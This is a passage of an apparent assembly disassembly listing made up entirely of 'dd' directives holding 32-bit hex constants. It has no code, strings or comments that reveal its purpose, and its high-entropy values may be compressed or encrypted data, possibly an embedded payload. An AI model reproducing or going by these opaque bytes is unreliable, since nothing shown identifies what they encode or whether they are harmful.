3DDCCD3Dh dd 0B804FDEh, 0CA7A7559h, 4B009BBCh, 9FB66C2Ah, 3158Eh dd 0D88649B5h, 220E729Dh, 8DB15800h, 6F8C94AFh, 0A0F233h dd 0FA5720D6h, 0EA694C45h, 1C301600h, 0F2D86B3Dh, 0DC3F6031h dd 0DBB4354h, 9F67E1Ch, 861CAD80h, 1418AE8h, 8E650EC8h dd 0D0345CC1h, 1007AF29h, 0BECBE649h, 5582ACF0h, 98D818FCh dd 4C4710B8h, 713D4AFCh, 0AE58232h, 802EB609h, 0BF5C7684h dd 96E2CEh, 0A77F3118h, 3B219075h, 0FEDBE21Ch, 63E1BC40h dd 439DA5h, 469CA3E5h, 0F6DC8953h, 0CA3BEF0Ah, 0CC1ED115h dd 1DEA4B40h, 0BE4C7Dh, 84487919h, 854AA303h, 4100A2E0h dd 0BAA1018Ch, 3A7D95Bh, 52DA80C5h, 7CB1BFC6h, 0ACA8F7C3h dd 9D00F4B9h, 7E28D96Ah, 704114h, 2FA089CCh, 0DBA33422h dd 0B7302E00h, 1ACDE154h, 7C931DE7h, 0AA2F845Bh, 0D0088064h dd 131E21C1h, 0B0E8CFDCh, 0F10115B0h, 0BD47380Ch, 26FCAA28h dd 46640F08h, 0D3A6C463h, 0EBEC7076h, 0B0722E07h, 0DFC7D252h dd 485D9110h, 249004Fh, 46E307Ah, 6F480D53h, 19F78048h dd 96A71h, 959E3DF3h, 4DBC6EC7h, 310791F4h, 8A7D0B65h dd 60EAF372h, 7116DDh, 47FCA358h, 0D1AC0FB5h, 0A803C298h dd 49018DDDh, 0DACAE0C5h, 846B0003h, 0ECCC4334h, 471C784Ah dd 69C074B1h, 156F31D8h, 0DF710053h, 0D7A2FF46h, 3E010D30h dd 1949AFF2h, 0A8FB0F27h, 0CDA3CCh, 0CA70986Ah, 5ECE5AE2h dd 791E0D07h, 0A9903AD9h, 3F6A49h, 4A634044h, 2754378Fh dd 4B28BC00h, 7F9D3D24h dd 9A66003Ch, 0C1032B6h, 18388AACh, 883E8004h, 0D90EC67Eh dd 5970C0DEh, 1974576h, 71963B00h, 687D2BBAh, 0FF0802F1h dd 451980A7h, 0C4DE2040h, 0D3D8CF0Ch, 74D120B2h, 9F074AAh dd 0DB404E67h, 1F573420h, 530F85C9h, 9D88A0A5h, 60153C00h dd 3506F45h, 0C8E30B0Ah, 8A809AF6h, 790083B3h, 96EA7395h dd 309E071Ah, 0F5A0E538h, 0C4003AB9h, 0F1DAB8C9h, 3D1F37h dd 59904842h, 5B016354h, 46CE9700h, 0DE9EAC56h, 24A50029h dd 0CB451B5Ah, 0EC103A93h, 7580194Eh, 0DED22584h, 0C59A5F01h dd 14D6023Dh, 321816Ah, 27CCE0D8h, 62666B01h, 252CB6A6h dd 54E0EBFDh, 0F3E29Eh, 21FC9834h, 0FA3D307Ch, 2A000D74h dd 7AC21663h, 5A3EDh, 0D49DFBD2h, 0DD56433Ah, 0C81E0E14h dd 6C4900A4h, 0F6F11BF5h, 453A1999h, 0FF78094Dh, 0CD8C2003h dd 987CD41Bh, 0F2FE61h, 72AB385Ch, 0D5F9DFA8h, 0BC00E0A4h dd 88250506h, 64C8A29Bh, 90340987h, 50E9C28h, 27327001h dd 0D628AB92h, 8AF48450h, 4EE0E6h, 146330A0h, 3C9732C2h dd 546C431Bh, 8B82340h, 0EF1BFF01h, 7918C9F6h, 1CF78E88h dd 1A6AD1Bh, 0BB9827D2h, 0A84AC0D4h, 29C02E6Ch, 0A0A202CCh dd 4FF0B2DAh, 19182F63h, 1EB90ED5h, 208E0082h, 0CF4B18F0h dd 0EB7C8512h, 0B4007AE8h, 104C036Ah, 305A88B7h, 48689323h dd 454018FAh, 5E810085h, 9CE34B3Ch, 0C430DDCDh, 0DFC2907h dd 0F76A0022h, 0A5CBFEF4h, 0D71F616Dh, 0EAC36E07h, 9802D1F9h dd 0E5D1C3Bh, 0AB42B053h, 0C0C98227h, 4248021h, 0FBAD2000h dd 0DCE0150Ah, 5C260E83h, 0D2761A0h, 0B0A460AFh, 971809D5h dd 8104E41Eh, 55400D9h, 803234C0h, 0E6B02C23h, 57708403h dd 0A846B5DEh, 31D6C4h, 519F7FAEh, 838ED96Ch, 2A221605h dd 0D88004A6h, 0BB66ACh, 2628097Ch, 963AA7F4h, 0D365BD00h dd 0D1C82B5Dh, 0E39109C0h, 1080AAA0h, 302F0444h, 0B60D2400h dd 5B97FBB9h, 0B0870086h, 0B7A1DA64h, 0F83DB33Fh, 0E59801E1h dd 0F7CC77AEh, 3074A7E0h, 3D8AEF17h, 1200AD0Ah, 865C9571h dd 0F456A6A1h, 779700FCh, 0E25ECA0Eh, 0C700BBE1h, 0ABA3B66Ah dd 124C3A5h, 0CF86489Ah, 0E0AE1EC5h, 0D57A18AAh, 1007BB03h dd 0A2B7F4h, 734BA480h, 0E38A0B9h, 0D8C1F000h, 6354613h dd 0C61D0068h, 0D75E5B0h, 79008A04h, 0DD2AC271h, 17B61D1h dd 4D48C68Eh, 80A7E55Bh, 77F871D8h, 3026E85h, 61BC6C65h dd 4BD80A4Eh, 0F664E24Dh, 69201529h, 28163DFh, 0F0442B08h dd 5F228489h, 111642E1h, 0AD21F25Bh, 7962373Fh, 0EC3F4258h dd 8C86302Eh, 0DE22296Ch, 88D37F09h, 0BF8BF9C5h, 0D2086144h dd 98F7A84Eh, 960551F9h, 0ED895C00h, 0A6042599h, 2782392Fh dd 1640077h, 95083D65h, 0FD00C672h, 2F0CB058h, 6B9387h dd 427A3A92h, 962E41C8h, 0CB2058h, 0B54F95E6h, 87A357h dd 23AADB0Eh, 60920843h, 0A4800707h, 28E3F018h, 0C8F1A3DCh dd 141E989h, 451DCEE4h, 302E75C9h, 0E71C748Eh, 8F495323h dd 898800E2h, 9012B176h, 574400B2h, 4E4743B7h, 9C006DD3h dd 0BDA4113Eh, 0B863FB12h, 901D00F4h, 1AEBB31Eh, 0F93AE813h dd 8057804Ch, 35BE708Ah, 963600A5h, 75DF97BFh, 2F0228C5h dd 18C3E1AEh, 0D514406Bh, 307DE5h, 0BF3EF7CAh, 0BCB51A63h dd 4565DC00h, 0B1853BB8h, 616800D9h, 2FC0DA8Eh, 0E100B53Dh dd 0AF0B1297h, 3E9A6B7Bh, 0A30CAC64h, 5F588799h, 0F7C6190h dd 0D9F9A231h, 8BECB519h, 432C008Ah, 95D31824h, 0EC7AC2E8h dd 0E4CEED00h, 65456E1Bh, 3A7601ACh, 9435FD90h, 3D4AD483h dd 8E595D38h, 6386F791h, 0C834BE2Ch, 240DDEh, 83F67840h dd 0B210D0C5h, 0AB201200h, 0A7FC7A0Ah, 63D61827h, 265D18DAh dd 8632F800h, 8271FD50h, 4C3900C4h, 7A0B2FB5h, 0A30097BCh dd 0B43BEE67h, 0C072913h, 0EDAB798Ch, 64005298h, 0A37469CEh dd 588A0ABDh, 100E1D5Dh, 0F9E0B418h, 0AAA8B261h, 0D20D9C00h dd 5F3A8917h, 0C59841h, 0D6AC6639h, 7419EA60h, 7F682D04h dd 0C2C186D4h, 0B0D891B4h, 0EAC001Ch, 0EB8FF9A4h, 69263BBAh dd 0FD009ACDh, 0E0B55F55h, 0E7E5009Bh, 4AC0FA9Fh, 0DA001DC2h dd 6E168A41h, 1AAF4098h, 0D84F960Eh, 59710C40h, 9EFEA0C0h dd 498734h, 2C4B6A9Bh, 862F0D7Eh, 917D3F1Ch, 92941CC0h dd 0F4D85h, 0B1428A40h, 0DB221730h, 0D19130Bh, 480603FDh dd 2702B071h, 0C68609D5h, 5C015F7Ah, 0C46A2ABAh, 0A520E1C1h dd 0AAF7000Ch, 7752D4C7h, 0D63A93DBh, 724601FCh, 0CD9D7EA7h dd 3EFA6820h, 0B9924F1Fh, 0B7640064h, 6272D43Ah, 70CC1332h dd 5F6840C7h, 4174006Eh, 7737791h, 79000A34h, 0BF6847FDh dd 0FC786E0h, 231EA524h, 0B702009Ch, 0A0171F0h, 8B03F1E6h dd 3A9FABB0h, 72C3A04Fh, 0EF8A1E61h, 1338C10Eh, 20C8E7A5h dd 0CC00EA90h, 93F1629Eh, 82C336h, 17E80B67h, 7F60634Fh dd 590028B0h, 83EA6AFBh, 0FF9C24h, 0E13416Ch, 69F52A21h dd 0A0380303h, 0F0D75AA9h, 140ED09h, 0DC025DE0h, 0DC375BF2h dd 7500F555h, 0A61B71B4h, 7F0599BCh, 898CA0C4h, 526900B5h dd 0DB507C97h, 5E00C874h, 0B748E493h, 637F16h, 900327BFh dd 50F07C31h, 45B8121Eh, 7F37CF00h, 6B9FFEh, 2601EA2Dh dd 42244A47h, 49312E00h, 3378BC51h, 0B8AE0B45h, 0DE038672h dd 1398090Dh, 0F6B097BDh, 32BCE500h, 84F7C3CCh, 5E060031h dd 0A1D6232Ch, 3C005412h, 0AA5CFFE3h, 0EAC4162Eh, 1EA4027Dh dd 20DEC541h, 4731AF80h, 0A21EEBCFh, 6DC297B5h, 0E0210AD0h dd 1C9B4CBh, 9A320455h, 0C8331F06h, 67731893h, 8CEB6E00h dd 0BA5B504Bh, 0DD953A82h, 0E88F00FFh, 1B75C5BDh, 0A200F4CCh dd 661D467Ch, 4C0DDD50h, 3E0048A7h, 1CBBDBBEh, 0B100E6E9h dd 1AC93FB4h, 7513889h, 6792E143h, 2EFD4029h, 2400A509h dd 97B8CB36h, 2ECFB7C7h, 0C7ABDBh, 0C9DE1321h, 8900CCEFh dd 0DD47E18Ah, 6A65D6h, 45043285h, 0A2D54F27h, 7C1048h dd 24CDAA29h, 6FFDD1h, 88E30130h, 81F99E16h, 1223EA14h dd 0F7900B8h, 0D0D70CA3h, 0BF940070h, 48AD1E57h, 831CA7DEh dd 60804421h, 5078FDE9h, 0B7BB0EF7h, 413F9DE1h, 0EE33ED19h dd 0BD0420F3h, 0D665AD00h, 0AAAFA7BBh, 0D22400EFh, 1179B28h dd 90760C9h, 0D9733CCBh, 2A49403Eh, 904B8EF8h, 16A700E4h dd 295385Bh, 0D907C928h, 0BE4AF435h, 0A11A6550h, 2C27247Ch dd 582001D0h, 606E47E7h, 0D30EF614h, 80D80FAFh, 0F2B85733h dd 783F18EEh, 1F42187Dh, 310719EAh, 5B1054B2h, 0F299F811h dd 7A651930h, 0FDD01D18h, 942F8476h, 0AC8CC341h, 5AE9002h dd 8E9ABD11h, 135C80BCh, 0DFBE0Ch, 0BB1260BFh, 0CC9DE83Bh dd 18C6B402h, 48EC1D1Eh, 7CE1918Ch, 52B300F4h, 0D142618Ch dd 0AB1EBE74h, 8400F658h, 98F18B2Fh, 0A4960026h, 4944F79Bh dd 2903A64Ah, 9092D283h, 0A9D59B1Dh, 86C42C7Fh, 0A7690077h dd 2843A41Bh, 4E7B91F0h, 93F06E79h, 5E593Dh, 5B799077h dd 184BF50h, 0DFC5FD66h, 0C819F773h, 0AA01F9DBh, 0D4321625h dd 0CEC027Ch, 0C42900A1h, 0A731AE22h, 0B60CEA46h, 0A4E00AF1h dd 67E80706h, 40CECFB8h, 0DFBBFEEBh, 80A88138h, 80E3BC32h dd 0E0E7F28Bh, 77C9002Bh, 87D240DCh, 0BC009307h, 0B9928AEh dd 73D5E5FCh, 897E0075h, 0FF5E4E0h, 8100D396h, 0EB9C03AEh dd 0E32EECh, 0ABDA0B77h dd 6EE98FF6h, 3ACA48h, 0D351D46Fh, 0E08DDC7h, 9A09581Ch dd 79E916A0h, 0F7008A4Fh, 0E503F89Bh, 69014Bh, 0AF71DD20h dd 0DC1ACB38h, 0FF344400h, 0F95E66F1h, 49C12817h, 1DB600A6h dd 57757872h, 9676A14Ch, 0B0D12F00h, 0FBD6E681h, 389D00ACh dd 0A1486DA3h, 0B83B6C28h, 0CB108073h, 9D6F1A30h, 4F4100ADh dd 70F42F9Ch, 40006E5Ah, 0B9F9F1A6h, 0E3C9477h, 634D7EAFh dd 0E95520C0h, 9B0010CAh, 77153EC1h, 0C2DF24h, 431F7CA0h dd 0C6AD1102h, 217888EDh, 44200042h, 0F6B26295h, 0C4A0F400h dd 403F1277h, 971D1633h, 6A500EDh, 5529A247h, 4D7F501Fh dd 0A3B6AF43h, 0F81F01Ah, 5D8D00EBh, 4522142Eh, 0B51E2002h dd 4A809F11h, 8F341553h, 39840325h, 57501F2Bh, 3DC8DEB8h dd 0A5584F00h, 9FB16FFCh, 41A74C0Ch, 0C281F300h, 74BF78Bh dd 0C024D32Ah, 311A6005h, 0E80178EFh, 0BF74841Ch, 389E3220h dd 890057B9h, 5CF68365h, 0D198B832h, 24E10C26h, 0F01EEF00h dd 216A6C0h, 785DED3Ch, 0C0A72CE2h, 6CB370ACh, 0B800F310h dd 0F9B495B1h, 2444A15h, 47F051BDh, 0E24018D6h, 0BA771B69h dd 8121F538h, 2E228D54h, 2FCC0BC1h, 0BFA10120h, 51A70305h dd 0DA2180CAh, 0F446B442h, 0A3B8009Fh, 2AC9216Bh, 5C386494h dd 10138CEh, 9EB38153h, 56C8033Ch, 0D2F7072Ch, 20F23776h dd 0DE50BE8Eh, 8049EA00h, 0A51EEDE9h, 53B60745h, 0C08803E0h dd 9C751299h, 0A7F65F00h, 7AF583E2h, 801501E8h, 2FF72288h dd 4456FCF0h, 0AA947202h, 809AF9D6h, 329B2BC8h, 0F5F705D0h dd 0EC1237h, 1E56C8CCh, 4C7B8320h, 64F4D902h, 80B73852h dd 0B02225D0h, 70494074h, 1FE12A00h, 4CCA7B89h, 0AF6707D3h dd 0F071F661h, 55F91087h, 6C08330Eh, 80C66BE2h, 0CBE71113h dd 402E009Fh, 4B6696D1h, 7984D3Dh, 0FCD01D54h, 8C62E4h dd 56657C8Ch, 0A74161E1h, 0DE35F001h, 1F738262h, 87688C52h dd 8100EB97h, 358519h, 0CCD0B724h, 9E1F8306h, 2FAAAC00h dd 0FE509B40h, 0AE8513F5h, 7E800057h, 0E63276DBh, 0E0829E00h dd 38A6C32Dh, 0CD460019h, 54160D1Fh, 4900B981h, 0E5CBBFEAh dd 938057h, 631DC3F2h, 6ADB447Fh, 14F46E01h, 0C069CAADh dd 0D04C30h, 5A4C25F5h, 0A246DDE0h, 0D6C3E512h, 517CA800h dd 1E860A26h, 5EB4D23Ah, 93224319h, 858247DCh, 444BE480h dd 90012D56h, 7D0745E8h, 40F20194h, 1F391DF4h, 40B62FD2h dd 7264E8FDh, 9107D508h, 0C9AD10AAh, 0CD677D10h, 48A9006Eh dd 1F5B98Ch, 52EC6A7h, 2A0075EEh, 6A3608C8h, 78D10080h dd 0F5A8BA09h, 0DC02CF96h, 1BC152ECh, 0F82CC32Dh, 7160917h dd 5FD7E3E7h, 47416E24h, 24AF70E2h, 4A00A180h, 5FBCBA7Ah dd 4A27B91h, 7D9B2A56h, 43A8800Bh, 0A96FEDA7h, 17F700C0h dd 0B0CCAB90h, 0D4790610h, 11A299EEh, 76DF6E17h, 0D06C690Ah dd 4BFA8880h, 0AA9D14h, 301F2149h, 198F86D6h, 0FEB69205h dd 1C87075Eh, 0C25C1260h, 867900B9h, 0B3FCE6Bh, 0EC007094h dd 0F543330Fh, 58188105h, 1B0014C5h, 0A95C2F6h, 35607B40h dd 0C73CA920h, 221A004Eh, 0AC2BA548h, 0D890DC94h, 1B4F620Eh dd 1A70E0D0h, 8EC391h, 0DE9A0885h, 0C683E40h, 2D7F9C90h dd 46484CB8h, 89C40F9Ch, 0AE14878Dh, 0D02FB890h, 7BD50033h dd 950B0D3Ah, 2700C92Ah, 7C96E18Bh, 703B59h, 1A44628Dh dd 126DBBAAh, 82E0C33Dh, 89871CC1h, 0CB30013Bh, 806C32D7h dd 2675D9F0h, 473B824h, 0BACE9478h, 0A9C0EAC3h, 98BF2E5h dd 37E65455h, 49B17C81h, 86430001h, 208C144h, 509371A7h dd 318BE3F0h, 0C7E4A612h, 0B1B38C46h, 0B70414C2h, 0DD009CFFh dd 4ACA4839h, 9B00C2BBh, 1A42092Bh, 1D86ADh, 1CD1A72Ch dd 9E91DEEAh, 20722D00h, 991BB9BAh, 0FDCD5C93h, 6BEB6100h dd 3DC240DAh, 62C3F38h, 76A9F65h, 5F9900A0h, 4AA06459h dd 0CA00BF7Eh, 0D1D29229h, 0EEBCB01h, 10E5D339h, 50312680h dd 56000EB3h, 8DF1147Ah, 39C219Dh, 9147B7B8h, 8C1EFF9h dd 0D2D0802Fh, 32D4DD74h, 4FECBEh, 9756F26h, 18A49210h dd 2729B400h, 0B82A31D7h, 0EAA8244Ah, 34CB0454h, 7D38C1D1h dd 49702420h, 0A8BAC42Ah, 8FA8D448h, 0F65BA0F0h, 25A1EAh dd 5CE1319Ch, 0DB47B843h, 449649h, 0E4A1843Dh, 0F8A1425h dd 28124F49h, 6A896120h, 6300FDB1h, 0C85058D3h, 3351492h dd 5FE25EADh, 31FB0405h, 0F11EA690h, 0FE90DB3Fh, 726036E6h dd 0B55C1B98h, 712A0959h, 0B821816Bh, 0C58C8D7Ah, 73C2070h dd 5C5B58A0h, 54126E04h, 10C003F0h, 0F319D8h, 68BA7C5h dd 7D6DD64Bh, 0DBE47B00h, 935246A5h, 0F498A0F7h, 0FBBE3A74h dd 3FC8B704h, 6AE48111h, 0E8D0C06Ch, 0DF00A0EEh, 66552ADBh dd 0DE3F59h, 0DC3A1BAAh, 6C93EC65h, 8E5C0D01h, 0F211854Fh dd 59AD8h, 0B8C638F8h, 0FFE6F30Ah, 7FC24500h, 9E6E36ECh dd 57F60063h, 0C02D5F8Bh, 123F208Ah, 95E60072h, 0AA7A6CE2h dd 0F7F68Fh, 7DEE9D34h, 0D1F171C0h, 57054400h, 0AA3FF001h dd 8820F1ECh, 79A500E8h, 22C34097h, 7FA4CC7h, 566EF916h dd 0CD7E8440h, 1214BE4Bh, 17D605Ah, 309E9926h, 0A8BB36h dd 0A4C3FE0Eh, 24AB20A5h, 28DC3D95h, 0DCFB4961h, 5D9E151Fh dd 0DC274049h, 0CF244BAEh, 544F7F1Fh, 9F825200h, 0EE03BFA6h dd 14EE00FDh, 282968BBh, 0A0267ECAh, 0F7002CE5h, 0E764DE88h dd 8C8A009Eh, 65CF7F8Fh, 7B003B91h, 0DEEC7DCBh, 981A40C2h dd 2E7C0469h, 90F8D506h, 0A21C6E54h, 1E412F00h, 0A8C560C9h dd 0AEFD00C8h, 33CB34ADh, 1BB012B4h, 48569C00h, 152C8622h dd 7BD10720h, 8F6B88C3h, 96576541h, 0ED9540B5h, 762CC787h dd 0A10860E8h, 89C9121Ch, 9734C054h, 3283Dh, 76DE1BFEh dd 735A27h, 4DBC9FFDh, 9CFB90F0h, 68263A78h, 2400CCFFh dd 3BCEE642h, 797100CBh, 0C27D284Ah, 0A00E83D2h, 0E1E86A19h dd 0EBF6CE6h, 59B3FE4h, 0F1B588A6h, 36D8809Ch, 213B8066h dd 8E7E0194h, 7402E3F0h, 0BEA19882h, 40FFDC04h, 3F29A4A1h dd 1800940Fh, 0FF6DB173h, 0D900224Fh, 5D07E77Fh, 3BC48164h dd 2A8F2045h, 57E08B3Bh, 0AB0A80C7h, 3741FA01h, 0B1DE2D78h dd 0F116D4h, 0BBFD2848h, 0C2244A32h, 9913E6C0h, 151BE70h dd 46D52F7Bh, 0C0C53E2Ah, 0AE06219Ch, 603B9EC1h, 717960h dd 10727BE3h, 0CAE705D5h, 34012EFEh, 50EF1143h, 4EC57FBDh dd 26C5C30h, 9CF8B1Eh, 46885AAh, 9400D54Bh, 0BD1656A4h dd 78D626BFh, 595E1EA0h, 30A5401Eh, 0B5CF2896h, 8C395C0Eh dd 6573A07Dh, 0EDEEC3h, 96711510h, 83FDC5B3h, 708824h dd 0D649A400h, 91B770Dh, 400FA04Ch, 7F733020h, 532E1182h dd 7C05C8ECh, 5C896D27h, 0FA39EECh, 0D91FD02Eh, 8ED39D41h dd 7A2AC4E8h, 0ED5A6600h, 0B69EDBBEh, 0A6A80FBBh, 0CB412C21h dd 0F48A6B77h, 3E0069A2h, 0D27D79Bh, 244985E1h, 58A15Ah dd 58FC6329h, 0F100841Eh, 8F3957E6h, 4FD266Bh, 0F0A6657Fh dd 381E8053h, 4C00890Bh, 0E6432F97h, 1F9C0962h, 0C0A77442h dd 8040702Ah, 0E54C8322h, 5D1A0053h, 0B8D5C63h, 1F70E447h dd 7CD6FDAh, 830DFDDBh, 0E591059Fh, 242FD524h, 3B004A98h dd 2382BC16h, 164E45DAh, 40113DB5h, 0C5292DBCh, 550047FFh dd 82F4F8EDh, 0EA1A538h, 0D97D40BAh, 0DD776D21h, 9CE8DB9Eh dd 1100E5A9h, 0DE35F7CCh dd 5A0FEEh, 9D2618B8h, 0C47E190h, 0E500E098h, 0EEDC9F86h dd 0E2086C50h, 642200B6h, 0FD99C6ACh, 903F5923h, 16F87C0h dd 9AE0DB30h, 9894228Ah, 4D3A005Fh, 815CE62Bh, 700FBE90h dd 0C0953123h, 0D5795F94h, 9CF71BCh, 7518C8FDh, 0F439F812h dd 5826C4EFh, 0DFF62CB8h, 5718ED00h, 0D6DA19B3h, 8BEE46h dd 5DB4B0DDh, 0A3A8CA81h, 0C0F25B7Fh, 0B3399400h, 5C76F648h dd 422E24F0h, 0E6AB0B3Ch, 7EEF3F00h, 1400D240h, 9B41CFA1h dd 41BF3A5h, 6F63610Bh, 15583BEh, 7FE452A8h, 86781700h dd 344E5977h, 113E493h, 4F2C3262h, 242E4CB4h, 9B035D98h dd 8E7C3105h, 68879A3Ah, 3DD274h, 17FAAE8Fh, 5AFDC4A6h dd 0AC047228h, 0C3272D1Eh, 0E46A595Ch, 0A63B8303h, 0BA15D4CDh dd 0E63CE023h, 0D59100D8h, 0E1A59834h, 0FB24BA0Eh, 3B3CD04Fh dd 0FEC859h, 0FAED0F40h, 6EE483h, 73CD2981h, 0B0565DA8h dd 8C7C6B00h, 4393F89Fh, 86A02A5h, 31627376h, 0C0BBCC0h dd 0AD665Ch, 28A02ECBh, 1FD7458h, 0B4D05D64h, 0C4B99B05h dd 3000EF79h, 1D209CF4h, 31442BBh, 0A898AF0Bh, 37D81CBCh dd 5A1DADA0h, 0F2C3CF3Ah, 0C8783068h, 1BD7F45h, 0A1391D24h dd 0FC31E652h, 33F861A0h, 0BA876000h, 6EF4B57h, 136F05F8h dd 0C0083BCAh, 63BD0470h, 179CAA0Fh, 19032226h, 0E02FC0A9h dd 9827A62h, 7059B9F9h, 0C5DFD80h, 60FCD53Ch, 98193E1Fh dd 0CC7D8983h, 0B068D84Ah, 0F8EFE075h, 0E5B701A3h, 77DC61E2h dd 0B048D2E8h, 2F036EE3h, 0C0D2D6F2h, 94FAF869h, 0B0117BD3h dd 5646008Ch, 8E8248E8h, 0C2000828h, 0FC566D4h, 2B0A31Fh dd 6FE1614Ah, 80409B8Dh, 6000E2CBh, 137369EFh, 1E1B5615h dd 3B8D06CAh, 0FE10186Ch, 2C7C9CF0h, 670FD090h, 0DDA4BCD9h dd 0B00EF296h, 0C5007E51h, 53369335h, 0C19DF42Bh, 83643F31h dd 4CE8D26Dh, 0D21BBD1Bh, 0C7D014C1h, 0EE52803Eh, 0E27DBB13h dd 7B702F3Fh, 31C970D0h, 436CE046h, 0BC48C389h, 0B5A0657Dh dd 0ADB84C7Bh, 83210662h, 64522Ch, 35E67CA0h, 5F84E5F4h dd 0D132E828h, 8FADD703h, 0B02CBF59h, 79CCA3B5h, 4421002Eh dd 5DFB6846h, 530107CEh, 250FD219h, 0F8F3DA39h, 77E037h dd 14F4ED27h, 0B995A717h, 69822D00h, 2C877FCEh, 792000B5h dd 0FF5DDA30h, 6D00DCE8h, 6F1E3544h, 0FEBF4740h, 0B18EFB28h dd 3460F999h, 0DD462D7Eh, 98DA091Eh, 18A7ADC7h, 49BE4110h dd 6C822431h, 95CB8000h, 0ED2B835Bh, 28E8A46Ch, 0D9C01830h dd 0CD81107Bh, 0F22ABEFEh, 8F00A04Ah, 35FD461Fh, 0C71D5DDh dd 94F37D70h, 63085C48h, 0BFC432h, 0C6DCD63Ah, 201821E6h dd 7BA9FD2Bh, 0FA460012h, 0FF6E263Bh, 0E7D427Ah, 0CF2B591Dh dd 0F4D6CA80h, 77CD57DEh, 0E1280344h, 787A3009h, 154EB915h dd 0A4700CCh, 3CFC401Ah, 3F2FB845h, 1F008506h, 4E4983A9h dd 9EF6BC3Dh, 5060774Dh, 0F33024D3h, 0B131163h, 1A7E004Ch dd 7ED298Fh, 8700E3D5h, 0A85883BCh, 4648936h, 6831CAF2h dd 63FFC0E8h, 350061EFh, 2EFABF2Fh, 0BC312B4h, 70F4DDC4h dd 6C01EF80h, 577E89D4h, 0C5757400h, 680AD984h, 174E008Fh dd 85E90C33h, 6001E30h, 163C6405h, 0E5312Ch, 532FF6A5h dd 0AC45D3B9h, 0E45D7100h, 5E09D2C3h, 89F80081h, 2B520F19h dd 0EA4F1C38h, 7ADB6E80h, 0E42100E5h, 69A9E289h, 0C000658Ch dd 68C55976h, 1E6A0DC8h, 923C95h, 0D5F4E21Ah, 1F0602E6h dd 0B3A52C7Eh, 4A452C8h, 693BE0AEh, 57EC01B6h, 0BBD80524h dd 205360F5h, 2093C424h, 0A14BFA01h, 0C7D41CD7h, 0B010030Ch dd 0A718CC3Dh, 84762088h, 119B3F2h, 0D329A985h, 1D44F808h dd 6E798462h, 0FB086F89h, 844E1B44h, 7B899CF2h, 0BA11D209h dd 9A445708h, 0E7228497h, 11A64220h, 23119B18h, 1036210Fh dd 78B68A92h, 919D3F10h, 87FE1125h, 229F8B11h, 838E3C4Bh dd 7B82F58Ch, 0DD007909h, 0E06688F7h, 617DCAh, 7AF8CDDFh dd 87091597h, 9AE09677h, 0FB1F9F00h, 0FDE3A09Dh, 8B4B009Bh dd 3A0F591Dh, 9E00140Bh, 662EB8A8h, 48D93Fh, 6E2334C0h dd 0E7EA9252h, 84A11509h, 0A85E804Fh, 7447C5Ah, 9D38FF1Fh dd 39BA309Fh, 0BB0E95E9h, 40EFCE77h, 0A54D155Ch, 0D24503ACh dd 2B2572E0h, 930B5588h, 683A3770h, 4F8C057Eh, 34C0CE07h dd 0FEA93FC5h, 4639035Ah, 0D41DE021h, 6D6FD3B8h, 540251B8h dd 5B307141h, 0DD1BE00Eh, 2BC20004h, 195D2CB9h, 16042867h dd 0EBD2310Bh, 3A694490h, 0A2AD0024h, 98D05F03h, 463D165Ah dd 90C77ED8h, 0F2477E60h, 214F66h, 0E5773C49h, 2BC8BDCAh dd 0E8F4A706h, 30659Bh, 36F8B15Bh, 6EAAA684h, 76BAB302h dd 4019833Fh, 0C4F687Ch, 5F484321h, 36003BCCh, 979C8004h dd 1FE977h, 0AC67853Ch, 0BE5F8CC2h, 0A471E600h, 911E36C1h dd 312E8A7h, 556A6E8Dh, 3FA05C37h, 0A8A03EF3h, 85008F23h dd 32F99EDAh, 0D4E8719h, 0A616BE30h, 0DE49802Ah, 8B0267E0h dd 98900B0Fh, 0CD867250h, 0B5F8E0F5h, 3B750A00h, 52907FD1h dd 0CA3E3BF8h, 6F8FAEBCh, 5D29E626h, 62E79400h, 0DB79D835h dd 0B1CCF000h, 740CA664h, 6FC600ACh, 12D73EAAh, 841F0265h dd 0C0C9695Ch, 81F00FDEh, 0DFD4C1BAh, 0E8B5E0h, 0D2B2C8E2h dd 0D3B4DBE9h, 932E300h, 5299AC35h, 0B09C0039h, 8D9AA84Eh dd 960F3F5Eh, 0E0AF50B2h, 7746AE8Ch, 0B0E0F7h, 0A45D376Bh dd 0B14CD08Ah, 4107DE00h, 0F2927FC9h, 5AB8BBh, 0D420F9FCh dd 56E08A58h, 0D2A1880Eh, 0E0930FAEh, 0B6129739h, 7B18004Fh dd 8CD9AAD4h, 601FAF9Eh, 0DA40EADFh, 13072154h, 2A9600A9h dd 6E6587EDh, 0B33D5705h, 0E24500EFh, 3ACC9850h, 30113E19h dd 77381307h, 78D39041h, 4E30D22Dh, 0A3862852h, 0C5BD1EE0h dd 41398095h, 68777EA7h, 703BCF00h, 0FC0EF016h, 971C48E8h dd 0C2A928h, 0E5FF35FEh, 3309C3AEh, 1BE3800h, 0EC99D291h dd 0C0DC7340h, 0C5F8D930h, 730EAC41h, 0C0827889h, 0D3345DCEh dd 386100C9h, 8CF10FE4h, 0B8003DDCh, 0D5EF7EFh, 0AEA2F9h dd 1F5834E1h, 1EB0B46Ch, 0A7503C00h, 46935ADh, 3D703B97h dd 0CF855180h, 0EED99166h, 83658F0Fh, 0E3F2206Ah, 0BFDCB0h dd 6092521h, 0D990317h, 7439B100h, 9E46C0DAh, 26F1009Bh dd 4C076EFAh, 58E81D22h, 0B0319F2h, 11132456h, 141AD855h dd 11E002Eh, 2C666DA1h, 63008490h, 59C996DCh, 8E923Bh dd 0B09DAB5Dh, 0C37B42A1h, 80CFF48h, 0EA0514Bh, 0C4809CA3h dd 1EC6DD97h, 614F6D00h, 3CBEC5DEh, 0B6F0001Ah, 0A4C82EC1h dd 783BB2AFh, 0AB0F02DCh, 80360CB1h, 0C62E8FA4h, 7B0800DBh dd 0DC50A37Ah, 9FE2AAABh, 5F0D3000h, 1987E83Ch, 845A1EB2h dd 0F910F07Fh, 2FCC0D9h, 0F6186D07h, 0C990F2DFh, 0EDFC4Dh dd 2B145F4Bh, 0F93957EAh, 3B4C1600h, 0AD1E9560h, 6C1A010Dh dd 0E99DBF92h, 0B13C200Fh, 8A146B07h, 3360E6B8h, 125C913h dd 0D4AC98DAh, 0B8FB0D0Eh, 47400028h, 1D5F8ABAh, 0A98128F6h dd 994E24B8h, 0F9204F7Ch, 0A60AE48h, 6F120DEAh, 0B301E3FBh dd 24784492h, 0CD6C1180h, 0C66A124Fh, 0BD8B4018h, 1C06D19h dd 3399D652h, 10BA4218h, 3DA32BCh, 7CDBDDCDh, 0C8000C0Ah dd 39E5373Ah, 3E448ADh, 0A8BCF699h, 0A0116117h, 4015E0Ch dd 72F4C10Dh, 